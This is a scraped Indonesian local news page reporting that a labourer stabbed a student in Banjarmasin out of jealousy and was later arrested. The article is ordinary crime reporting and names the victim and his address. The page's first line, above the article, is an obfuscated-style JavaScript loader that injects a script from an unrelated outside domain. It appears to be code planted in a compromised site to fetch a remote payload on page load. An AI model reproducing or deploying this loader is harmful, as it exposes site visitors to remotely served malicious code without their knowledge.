(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kriminal Banjarmasin

Dibakar Cemburu Lihat Istri Pernah Dijemput, Buruh Ini Tusuk Pemuda di Leher


KANALKALIMANTAN.COM, BANJARMASIN – Seorang buruh, MS (37) harus berhadapan dengan hukum. Diduga dibakar rasa cemburu membuat MS gelap mata dan berbuat aniaya kepada seorang pemuda dengan senjata tajam.

Peristiwa berlatarbelakang rasa cemburu itu, dilakukan pelaku yang pernah melihat korban menjemput istrinya. “Motif penganiayaan pelaku cemburu karena korban pernah menjemput istri pelaku di rumah,” kata Kapolsek Banjarmasin Barat Kompol Mars Suryo Kartiko melalui Kanit Reskrim Iptu Yadi Yatullah, Rabu (14/10/2020) pagi.

Korban penganiyaan adalah diketahui bernama M Ramadhani (22), seorang mahasiswa yang beralamat di jalan Kelayan Besar II RT 006 RW 001 Kelurahan Tanjung Pagar, Kecamatan Banjarmasin Selatan, Kota Banjarmasin.

Berdasar keterangan korban, Kanit Reskrim menceritakan, peristiwa berdarah itu terjadi di kawasan jalan Belitung Darat RT 020 Kelurahan Kuin Selatan, Kecamatan Banjarmasin Barat, Kota Banjarmasin pada Minggu 11 Oktober 2020 sekira pukul 23.00 Wita

“Saat itu korban disuruh datang ke TKP oleh pelaku, kemudian sempat terjadi cekcok antara keduanya, lalu berujung penganiayaan dengan Sajam,” ujar Yadi. Akibatnya M Ramadhani mengalami luka di bagian belakang leher, leher sebelah kiri, di bagian atas dada, tangan kanan dan luka sayat di tangan kiri.

Korban melaporkan kejadian yang dialaminya ke Mapolsek Banjarmasin Barat. Atas laporan tersebut pihak Polsek Banjarmasin Barat langsung bergerak di backup Unit Reskrim Polsek Kertak Hanyar berhasil meringkus pelaku pada Senin 12 Oktober 2020 sekitar pukul 13.00 Wita, di jalan Manarap Baru, Komplek Green Hunian Manarap 2, Kelurahan Manarap Baru, Kecamatan Kertak Hanyar, Kabupaten Banjar.

“Pelaku berhasil kita amankan, dengan barang bukti sebilah pisau dengan panjang 15 Cm,” tambahnya.

Saat ini pelaku dan barang bukti telah dibawa ke Polsek Banjarmasin Barat guna proses hukum lebih lanjut. “Atas perbuatannya, pelaku akan dijerat dengan Pasal 351 KUHP tentang penganiayaan menggunakan sajam,” tutupnya. (kanalkalimantan.com/fikri)

 

Reporter: Fikri
Editor: Bie


Desy Arfianty

Recent Posts

Kota Banjarbaru Catat Investasi Triwulan I 2024 Senilai Rp204 Miliar

KANALKALIMANTAN.COM, BANJARBARU - Nilai investasi di Kota Banjarbaru terus mengalir dari tahun ke tahun. Setidaknya… Read More

31 menit ago

Bela Palestina, Mahasiswa-Civitas Akademika Universitas Muhammadiyah Banjarmasin Gelar Aksi

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rektor Perguruan Tinggi Muhammadiyah dan Aisyiyah (FR PTMA) secara serentak menggelar… Read More

42 menit ago

Hadiri Halalbihalal Bersama Potensi Kesejahteraan Sosial, Bupati Banjar Dapat Kejutan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mendapat kejutan berupa ucapan selamat ulang tahun… Read More

2 jam ago

Puluhan Calon PPK di Banjarbaru Ikuti Tes Tertulis

KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang calon Panitia Pemilihan Kecamatan (PPK) untuk Pilkada 2024 di Kota… Read More

2 jam ago

Diskominfo Banjarbaru Gelar Bimtek Sistem Informasi Publik

KANALKALIMANTAN.COM, BANJARBARU - Dinas Komunikasi dan Informatika (Diskominfo) Kota Banjarbaru menggelar bimbingan teknis Sistem Informasi… Read More

3 jam ago

Helpdesk Pilkada 2024 Dibuka, Tidak Ada Paslon Perseorangan ke KPU Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Persiapan pencalonan bakal pasangam calon (Paslon) melalui jalur dukungan perseorangan telah dibuka… Read More

6 jam ago

This website uses cookies.